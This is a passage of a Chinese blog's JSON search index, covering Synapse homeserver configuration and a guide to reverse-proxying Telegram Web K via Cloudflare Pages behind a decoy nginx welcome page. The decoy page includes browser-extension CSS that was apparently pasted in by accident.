确保不强制邀请码注册（默认关闭）\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003epassword_config\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003eenabled\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003etrue\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e### ✅ 允许邮箱登录\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003elogin_via_existing_session\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003eenabled\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003etrue\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003erc_registration\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003eper_second\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e0.003\u003c/span\u003e  \u003cspan style=\"color:#75715e\"\u003e# 每秒允许的注册请求（例如：0.003 ≈ 每5分钟一次）\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003eburst_count\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e     \u003cspan style=\"color:#75715e\"\u003e# 同一IP地址的最大注册突发数\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#75715e\"\u003e# 消息发送速率限制\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003erc_message\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003eper_second\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e0.2\u003c/span\u003e    \u003cspan style=\"color:#75715e\"\u003e# 每秒允许发送的消息数\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003eburst_count\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e10\u003c/span\u003e    \u003cspan style=\"color:#75715e\"\u003e# 突发消息缓冲区大小\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# 房间加入速率限制\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003erc_joins\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003elocal\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eper_second\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e0.1\u003c/span\u003e   \u003cspan style=\"color:#75715e\"\u003e# 本地用户加入房间的速率\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eburst_count\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e10\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003eremote\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eper_second\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e0.01\u003c/span\u003e  \u003cspan style=\"color:#75715e\"\u003e# 远程用户加入房间的速率\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eburst_count\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e10\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# 媒体保留设置\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003emedia_retention\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#75715e\"\u003e# 本地媒体文件的保留时间\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003elocal_media_lifetime\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e90d\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#75715e\"\u003e# 远程媒体文件的保留时间（来自其他homeserver的媒体）\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003eremote_media_lifetime\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e14d\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# 删除陈旧设备的时间\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003edelete_stale_devices_after\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e1y\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003eauto_join_rooms\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;#XXX:你的家服务器URL\u0026#34;\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e# 需要自动加入的房间\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e按需配置，更多高级配置参阅： \u003ca href=\"https://element-hq.github.io/synapse/latest/usage/configuration/homeserver_sample_config.html\"\u003eHomeserver Sample Config File - Synapse\u003c/a\u003e\u003c/p\u003e","title":"QQ微信不够私密？自建自己的聊天服务器！"},{"content":"注意，将该项目直接绑定到你的域名会吃Abuse 推荐将 index.html 重命名。让别人访问根路径无法访问到正常页面即可，但不保证永远不会吃Abuse\n然后创建一个新的 index.html 写入：\n\u0026lt;html\u0026gt;\u0026lt;head\u0026gt; \u0026lt;title\u0026gt;Welcome to nginx!\u0026lt;/title\u0026gt; \u0026lt;style\u0026gt; body { width: 35em; margin: 0 auto; font-family: Tahoma, Verdana, Arial, sans-serif; } \u0026lt;/style\u0026gt; \u0026lt;style data-id=\u0026#34;immersive-translate-input-injected-css\u0026#34;\u0026gt;.immersive-translate-input { position: absolute; top: 0; right: 0; left: 0; bottom: 0; z-index: 2147483647; display: flex; justify-content: center; align-items: center; } .immersive-translate-attach-loading::after { content: \u0026#34; \u0026#34;; --loading-color: #f78fb6; width: 6px; height: 6px; border-radius: 50%; display: block; margin: 12px auto; position: relative; color: white; left: -100px; box-sizing: border-box; animation: immersiveTranslateShadowRolling 1.5s linear infinite; position: absolute; top: 50%; left: 50%; transform: translate(-2000%, -50%); z-index: 100; } .immersive-translate-loading-spinner { vertical-align: middle !important; width: 10px !important; height: 10px !important; display: inline-block !important; margin: 0 4px !important; border: 2px rgba(221, 244, 255, 0.6) solid !important; border-top: 2px rgba(0, 0, 0, 0.375) solid !important; border-left: 2px rgba(0, 0, 0, 0.375) solid !important; border-radius: 50% !important; padding: 0 !important; -webkit-animation: immersive-translate-loading-animation 0.6s infinite linear !important; animation: immersive-translate-loading-animation 0.6s infinite linear !important; } @-webkit-keyframes immersive-translate-loading-animation { from { -webkit-transform: rotate(0deg); } to { -webkit-transform: rotate(359deg); } } @keyframes immersive-translate-loading-animation { from { transform: rotate(0deg); } to { transform: rotate(359deg); } } .immersive-translate-input-loading { --loading-color: #f78fb6; width: 6px; height: 6px; border-radius: 50%; display: block; margin: 12px auto; position: relative; color: white; left: -100px; box-sizing: border-box; animation: immersiveTranslateShadowRolling 1.5s linear infinite; } @keyframes immersiveTranslateShadowRolling { 0% { box-shadow: 0px 0 rgba(255, 255, 255, 0), 0px 0 rgba(255, 255, 255, 0), 0px 0 rgba(255, 255, 255, 0), 0px 0 rgba(255, 255, 255, 0); } 12% { box-shadow: 100px 0 var(--loading-color), 0px 0 rgba(255, 255, 255, 0), 0px 0 rgba(255, 255, 255, 0), 0px 0 rgba(255, 255, 255, 0); } 25% { box-shadow: 110px 0 var(--loading-color), 100px 0 var(--loading-color), 0px 0 rgba(255, 255, 255, 0), 0px 0 rgba(255, 255, 255, 0); } 36% { box-shadow: 120px 0 var(--loading-color), 110px 0 var(--loading-color), 100px 0 var(--loading-color), 0px 0 rgba(255, 255, 255, 0); } 50% { box-shadow: 130px 0 var(--loading-color), 120px 0 var(--loading-color), 110px 0 var(--loading-color), 100px 0 var(--loading-color); } 62% { box-shadow: 200px 0 rgba(255, 255, 255, 0), 130px 0 var(--loading-color), 120px 0 var(--loading-color), 110px 0 var(--loading-color); } 75% { box-shadow: 200px 0 rgba(255, 255, 255, 0), 200px 0 rgba(255, 255, 255, 0), 130px 0 var(--loading-color), 120px 0 var(--loading-color); } 87% { box-shadow: 200px 0 rgba(255, 255, 255, 0), 200px 0 rgba(255, 255, 255, 0), 200px 0 rgba(255, 255, 255, 0), 130px 0 var(--loading-color); } 100% { box-shadow: 200px 0 rgba(255, 255, 255, 0), 200px 0 rgba(255, 255, 255, 0), 200px 0 rgba(255, 255, 255, 0), 200px 0 rgba(255, 255, 255, 0); } } .immersive-translate-toast { display: flex; position: fixed; z-index: 2147483647; left: 0; right: 0; top: 1%; width: fit-content; padding: 12px 20px; margin: auto; overflow: auto; background: #fef6f9; box-shadow: 0px 4px 10px 0px rgba(0, 10, 30, 0.06); font-size: 15px; border-radius: 8px; color: #333; } .immersive-translate-toast-content { display: flex; flex-direction: row; align-items: center; } .immersive-translate-toast-hidden { margin: 0 20px 0 72px; text-decoration: underline; cursor: pointer; } .immersive-translate-toast-close { color: #666666; font-size: 20px; font-weight: bold; padding: 0 10px; cursor: pointer; } @media screen and (max-width: 768px) { .immersive-translate-toast { top: 0; padding: 12px 0px 0 10px; } .immersive-translate-toast-content { flex-direction: column; text-align: center; } .immersive-translate-toast-hidden { margin: 10px auto; } } .immersive-translate-modal { display: none; position: fixed; z-index: 2147483647; left: 0; top: 0; width: 100%; height: 100%; overflow: auto; background-color: rgb(0, 0, 0); background-color: rgba(0, 0, 0, 0.4); font-size: 15px; } .immersive-translate-modal-content { background-color: #fefefe; margin: 10% auto; padding: 40px 24px 24px; border-radius: 12px; width: 350px; font-family: system-ui, -apple-system, \u0026#34;Segoe UI\u0026#34;, \u0026#34;Roboto\u0026#34;, \u0026#34;Ubuntu\u0026#34;, \u0026#34;Cantarell\u0026#34;, \u0026#34;Noto Sans\u0026#34;, sans-serif, \u0026#34;Apple Color Emoji\u0026#34;, \u0026#34;Segoe UI Emoji\u0026#34;, \u0026#34;Segoe UI Symbol\u0026#34;, \u0026#34;Noto Color Emoji\u0026#34;; position: relative; } @media screen and (max-width: 768px) { .immersive-translate-modal-content { margin: 50% auto !important; } } .immersive-translate-modal .immersive-translate-modal-content-in-input { max-width: 500px; } .immersive-translate-modal-content-in-input .immersive-translate-modal-body { text-align: left; max-height: unset; } .immersive-translate-modal-title { text-align: center; font-size: 16px; font-weight: 700; color: #333333; } .immersive-translate-modal-body { text-align: center; font-size: 14px; font-weight: 400; color: #333333; margin-top: 24px; } @media screen and (max-width: 768px) { .immersive-translate-modal-body { max-height: 250px; overflow-y: auto; } } .immersive-translate-close { color: #666666; position: absolute; right: 16px; top: 16px; font-size: 20px; font-weight: bold; } .immersive-translate-close:hover, .immersive-translate-close:focus { text-decoration: none; cursor: pointer; } .immersive-translate-modal-footer { display: flex; justify-content: center; flex-wrap: wrap; margin-top: 24px; } .immersive-translate-btn { width: fit-content; color: #fff; background-color: #ea4c89; border: none; font-size: 14px; margin: 0 8px; padding: 9px 30px; border-radius: 5px; display: flex; align-items: center; justify-content: center; cursor: pointer; transition: background-color 0.3s ease; } .immersive-translate-btn-container { display: flex; flex-direction: column; align-items: center; justify-content: center; gap: 8px; } .immersive-translate-btn:hover { background-color: #f082ac; } .immersive-translate-btn:disabled { opacity: 0.6; cursor: not-allowed; } .immersive-translate-btn:disabled:hover { background-color: #ea4c89; } .immersive-translate-link-btn { background-color: transparent; color: #ea4c89; border: none; cursor: pointer; height: 30px; line-height: 30px; } .immersive-translate-cancel-btn { /* gray color */ background-color: rgb(89, 107, 120); } .immersive-translate-cancel-btn:hover { background-color: hsl(205, 20%, 32%); } .immersive-translate-action-btn { background-color: transparent; color: #ea4c89; border: 1px solid #ea4c89; } .immersive-translate-btn svg { margin-right: 5px; } .immersive-translate-link { cursor: pointer; user-select: none; -webkit-user-drag: none; text-decoration: none; color: #ea4c89; -webkit-tap-highlight-color: rgba(0, 0, 0, 0.1); } .immersive-translate-primary-link { cursor: pointer; user-select: none; -webkit-user-drag: none; text-decoration: none; color: #ea4c89; -webkit-tap-highlight-color: rgba(0, 0, 0, 0.1); } .immersive-translate-modal input[type=\u0026#34;radio\u0026#34;] { margin: 0 6px; cursor: pointer; } .immersive-translate-modal label { cursor: pointer; } .immersive-translate-close-action { position: absolute; top: 2px; right: 0px; cursor: pointer; } .imt-image-status { background-color: rgba(0, 0, 0, 0.5) !important; display: flex !important; flex-direction: column !important; align-items: center !important; justify-content: center !important; border-radius: 16px !important; } .imt-image-status img, .imt-image-status svg, .imt-img-loading { width: 28px !important; height: 28px !important; margin: 0 0 8px 0 !important; min-height: 28px !important; min-width: 28px !important; position: relative !important; } .imt-img-loading { background-image: url(\u0026#34;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAADgAAAA4CAMAAACfWMssAAAAtFBMVEUAAAD////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////oK74hAAAAPHRSTlMABBMIDyQXHwyBfFdDMSw+OjXCb+5RG51IvV/k0rOqlGRM6KKMhdvNyZBz9MaupmxpWyj437iYd/yJVNZeuUC7AAACt0lEQVRIx53T2XKiUBCA4QYOiyCbiAsuuGBcYtxiYtT3f6/pbqoYHVFO5r+iivpo6DpAWYpqeoFfr9f90DsYAuRSWkFnPO50OgR9PwiCUFcl2GEcx+N/YBh6pvKaefHlUgZd1zVe0NbYcQjGBfzrPE8Xz8aF+71D8gG6DHFPpc4a7xFiCDuhaWgKgGIJQ3d5IMGDrpS4S5KgpIm+en9f6PlAhKby4JwEIxlYJV9h5k5nee9GoxHJ2IDSNB0dwdad1NAxDJ/uXDHYmebdk4PdbkS58CIVHdYSUHTYYRWOJblWSyu2lmy3KNFVJNBhxcuGW4YBVCbYGRZwIooipHsNqjM4FbgOQqQqSKQQU9V8xmi1QlgHqQQ6DDBvRUVCDirs+EzGDGOQTCATgtYTnbCVLgsVgRE0T1QE0qHCFAht2z6dLvJQs3Lo2FQoDxWNUiBhaP4eRgwNkI+dAjVOA/kUrIDwf3CG8NfNOE0eiFotSuo+rBiq8tD9oY4Qzc6YJw99hl1wzpQvD7ef2M8QgnOGJfJw+EltQc+oX2yn907QB22WZcvlUpd143dqQu+8pCJZuGE4xCuPXJqqcs5sNpsI93Rmzym1k4Npk+oD1SH3/a3LOK/JpUBpWfqNySxWzCfNCUITuDG5dtuphrUJ1myeIE9bIsPiKrfqTai5WZxbhtNphYx6GEIHihyGFTI69lje/rxajdh0s0msZ0zYxyPLhYCb1CyHm9Qsd2H37Y3lugVwL9kNh8Ot8cha6fUNQ8nuXi5z9/ExsAO4zQrb/ev1yrCB7lGyQzgYDGuxq1toDN/JGvN+HyWNHKB7zEoK+PX11e12G431erGYzwmytAWU56fkMHY5JJnDRR2eZji3AwtIcrEV8Cojat/BdQ7XOwGV1e1hDjGGjXbdArm8uJZtCH5MbcctVX8A1WpqumJHwckAAAAASUVORK5CYII=\u0026#34;); background-size: 28px 28px; animation: image-loading-rotate 1s linear infinite !important; } .imt-image-status span { color: var(--bg-2, #fff) !important; font-size: 14px !important; line-height: 14px !important; font-weight: 500 !important; font-family: \u0026#34;PingFang SC\u0026#34;, Arial, sans-serif !important; } @keyframes image-loading-rotate { from { transform: rotate(360deg); } to { transform: rotate(0deg); } } \u0026lt;/style\u0026gt;\u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; \u0026lt;h1\u0026gt;Welcome to nginx!\u0026lt;/h1\u0026gt; \u0026lt;p\u0026gt;If you see this page, the nginx web server is successfully installed and working. Further configuration is required.\u0026lt;/p\u0026gt; \u0026lt;p\u0026gt;For online documentation and support please refer to \u0026lt;a href=\u0026#34;http://nginx.org/\u0026#34;\u0026gt;nginx.org\u0026lt;/a\u0026gt;.\u0026lt;br\u0026gt; Commercial support is available at \u0026lt;a href=\u0026#34;http://nginx.com/\u0026#34;\u0026gt;nginx.com\u0026lt;/a\u0026gt;.\u0026lt;/p\u0026gt; \u0026lt;p\u0026gt;\u0026lt;em\u0026gt;Thank you for using nginx.\u0026lt;/em\u0026gt;\u0026lt;/p\u0026gt; \u0026lt;div id=\u0026#34;screenity-ui\u0026#34;\u0026gt;\u0026lt;div class=\u0026#34;screenity-shadow-dom\u0026#34;\u0026gt;\u0026lt;div\u0026gt;\u0026lt;div class=\u0026#34;screenity-scrollbar\u0026#34;\u0026gt;\u0026lt;/div\u0026gt;\u0026lt;div class=\u0026#34;screenity-scrollbar\u0026#34;\u0026gt;\u0026lt;/div\u0026gt;\u0026lt;/div\u0026gt;\u0026lt;style type=\u0026#34;text/css\u0026#34;\u0026gt; #screenity-ui, #screenity-ui div { background-color: unset; padding: unset; width: unset; box-shadow: unset; display: unset; margin: unset; border-radius: unset; } .screenity-outline { position: absolute; z-index: 99999999999; border: 2px solid #3080F8; outline-offset: -2px; pointer-events: none; border-radius: 5px!important; } .screenity-blur { filter: blur(10px)!important; } .screenity-shadow-dom * { transition: unset; } .screenity-shadow-dom .TooltipContent { border-radius: 30px!important; background-color: #29292F!important; padding: 10px 15px!important; font-size: 12px; margin-bottom: 10px!important; bottom: 100px; line-height: 1; font-family: \u0026#39;Satoshi-Medium\u0026#39;, sans-serif; z-index: 99999999!important; color: #FFF; box-shadow: hsl(206 22% 7% / 35%) 0px 10px 38px -10px, hsl(206 22% 7% / 20%) 0px 10px 20px -15px!important; user-select: none; transition: opacity 0.3 ease-in-out; will-change: transform, opacity; animation-duration: 400ms; animation-timing-function: cubic-bezier(0.16, 1, 0.3, 1); will-change: transform, opacity; } .screenity-shadow-dom .hide-tooltip { display: none!important; } .screenity-shadow-dom .tooltip-tall { margin-bottom: 20px; } .screenity-shadow-dom .tooltip-small { margin-bottom: 5px; } .screenity-shadow-dom .TooltipContent[data-state=\u0026#39;delayed-open\u0026#39;][data-side=\u0026#39;top\u0026#39;] { animation-name: slideDownAndFade; } .screenity-shadow-dom .TooltipContent[data-state=\u0026#39;delayed-open\u0026#39;][data-side=\u0026#39;right\u0026#39;] { animation-name: slideLeftAndFade; } .screenity-shadow-dom.TooltipContent[data-state=\u0026#39;delayed-open\u0026#39;][data-side=\u0026#39;bottom\u0026#39;] { animation-name: slideUpAndFade; } .screenity-shadow-dom.TooltipContent[data-state=\u0026#39;delayed-open\u0026#39;][data-side=\u0026#39;left\u0026#39;] { animation-name: slideRightAndFade; } @keyframes slideUpAndFade { from { opacity: 0; transform: translateY(2px); } to { opacity: 1; transform: translateY(0); } } @keyframes slideRightAndFade { from { opacity: 0; transform: translateX(-2px); } to { opacity: 1; transform: translateX(0); } } @keyframes slideDownAndFade { from { opacity: 0; transform: translateY(-2px); } to { opacity: 1; transform: translateY(0); } } @keyframes slideLeftAndFade { from { opacity: 0; transform: translateX(2px); } to { opacity: 1; transform: translateX(0); } } #screenity-ui [data-radix-popper-content-wrapper] { z-index: 999999999999!important; } .screenity-shadow-dom .CanvasContainer { position: fixed; pointer-events: all!important; top: 0px!important; left: 0px!important; z-index: 99999999999!important; } .screenity-shadow-dom .canvas { position: fixed; top: 0px!important; left: 0px!important; z-index: 99999999999!important; background: transparent!important; } .screenity-shadow-dom .canvas-container { top: 0px!important; left: 0px!important; z-index: 99999999999; position: fixed!important; background: transparent!important; } .ScreenityDropdownMenuContent { z-index: 99999999999!important; min-width: 200px; background-color: white; margin-top: 4px; margin-right: 8px; padding-top: 12px; padding-bottom: 12px; border-radius: 15px; z-index: 99999; font-family: \u0026#39;Satoshi-Medium\u0026#39;, sans-serif; color: #29292F; box-shadow: 0px 10px 38px -10px rgba(22, 23, 24, 0.35), 0px 10px 20px -15px rgba(22, 23, 24, 0.2); animation-duration: 400ms; animation-timing-function: cubic-bezier(0.16, 1, 0.3, 1); will-change: transform, opacity; } .ScreenityDropdownMenuContent[data-side=\u0026#34;top\u0026#34;] { animation-name: slideDownAndFade; } .ScreenityDropdownMenuContent[data-side=\u0026#34;right\u0026#34;] { animation-name: slideLeftAndFade; } .ScreenityDropdownMenuContent[data-side=\u0026#34;bottom\u0026#34;] { animation-name: slideUpAndFade; } .ScreenityDropdownMenuContent[data-side=\u0026#34;left\u0026#34;] { animation-name: slideRightAndFade; } .ScreenityItemIndicator { position: absolute; right: 12px; width: 18px; height: 18px; background: #3080F8; border-radius: 50%; display: inline-flex; align-items: center; justify-content: center; } .ScreenityDropdownMenuItem, .ScreenityDropdownMenuRadioItem { font-size: 14px; line-height: 1; display: flex; align-items: center; height: 40px; padding: 0 5px; position: relative; padding-left: 22px; padding-right: 22px; user-select: none; outline: none; } .ScreenityDropdownMenuItem:hover { background-color: #F6F7FB !important; cursor: pointer; } .ScreenityDropdownMenuItem[data-disabled] { color: #6E7684; !important; cursor: not-allowed; background-color: #F6F7FB !important; } @keyframes slideUpAndFade { from { opacity: 0; transform: translateY(2px); } to { opacity: 1; transform: translateY(0); } } @keyframes slideRightAndFade { from { opacity: 0; transform: translateX(-2px); } to { opacity: 1; transform: translateX(0); } } @keyframes slideDownAndFade { from { opacity: 0; transform: translateY(-2px); } to { opacity: 1; transform: translateY(0); } } @keyframes slideLeftAndFade { from { opacity: 0; transform: translateX(2px); } to { opacity: 1; transform: translateX(0); } } \u0026lt;/style\u0026gt;\u0026lt;/div\u0026gt;\u0026lt;/div\u0026gt;\u0026lt;/body\u0026gt;\u0026lt;div id=\u0026#34;immersive-translate-popup\u0026#34; style=\u0026#34;all: initial\u0026#34;\u0026gt;\u0026lt;/div\u0026gt;\u0026lt;/html\u0026gt; 原理 TG Web采用前后端分离\n前端为静态资产，可以直接部署到Cloudflare Page\n后端有高达10个API，反代一下即可\n然后将前端请求的 .web.telegram.org 改为你的域名即可\n正式开始 以 TG Web K举例子\nTG 后端API共有10个，分别为\npluto.web.telegram.org venus.web.telegram.org aurora.web.telegram.org vesta.web.telegram.org flora.web.telegram.org pluto-1.web.telegram.org venus-1.web.telegram.org aurora-1.web.telegram.org vesta-1.web.telegram.org flora-1.web.telegram.org 假如我的域名是 072103.xyz ，则为 pluto.web.072103.xyz 。其他的以此类推\nFork 仓库： morethanwords/tweb: Telegram Web K, GPL v3\n全局搜索 .web.telegram.org 替换为 .web.072103.xyz\n将该仓库部署到Cloudflare Page，构建命令为 pnpm build ，构建输出目录为 public\n成功 ","permalink":"https://blog.2x.nz/posts/proxy-tgweb/","summary":"\u003ch1 id=\"注意将该项目直接绑定到你的域名会吃abuse\"\u003e注意，将该项目直接绑定到你的域名会吃Abuse\u003c/h1\u003e\n\u003cp\u003e推荐将 \u003ccode\u003eindex.html\u003c/code\u003e 重命名。让别人访问根路径无法访问到正常页面即可，但不保证永远不会吃Abuse\u003c/p\u003e\n\u003cp\u003e然后创建一个新的 \u003ccode\u003eindex.html\u003c/code\u003e 写入：\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-html\" data-lang=\"html\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u0026lt;\u003cspan style=\"color:#f92672\"\u003ehtml\u003c/span\u003e\u0026gt;\u0026lt;\u003cspan style=\"color:#f92672\"\u003ehead\u003c/span\u003e\u0026gt;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u0026lt;\u003cspan style=\"color:#f92672\"\u003etitle\u003c/span\u003e\u0026gt;Welcome to nginx!\u0026lt;/\u003cspan style=\"color:#f92672\"\u003etitle\u003c/span\u003e\u0026gt;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u0026lt;\u003cspan style=\"color:#f92672\"\u003estyle\u003c/span\u003e\u0026gt;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t\u003cspan style=\"color:#f92672\"\u003ebody\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t\t\u003cspan style=\"color:#66d9ef\"\u003ewidth\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e35\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003eem\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t\t\u003cspan style=\"color:#66d9ef\"\u003emargin\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003eauto\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t\t\u003cspan style=\"color:#66d9ef\"\u003efont-family\u003c/span\u003e: Tahoma, Verdana, Arial, \u003cspan style=\"color:#66d9ef\"\u003esans-serif\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u0026lt;/\u003cspan style=\"color:#f92672\"\u003estyle\u003c/span\u003e\u0026gt;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u0026lt;\u003cspan style=\"color:#f92672\"\u003estyle\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003edata-id\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;immersive-translate-input-injected-css\u0026#34;\u003c/span\u003e\u0026gt;.\u003cspan style=\"color:#a6e22e\"\u003eimmersive-translate-input\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003eposition\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003eabsolute\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003etop\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan 